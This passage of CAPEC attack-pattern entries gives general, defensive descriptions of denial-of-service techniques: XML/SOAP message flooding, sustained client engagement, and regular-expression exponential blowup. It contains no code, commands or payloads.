An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.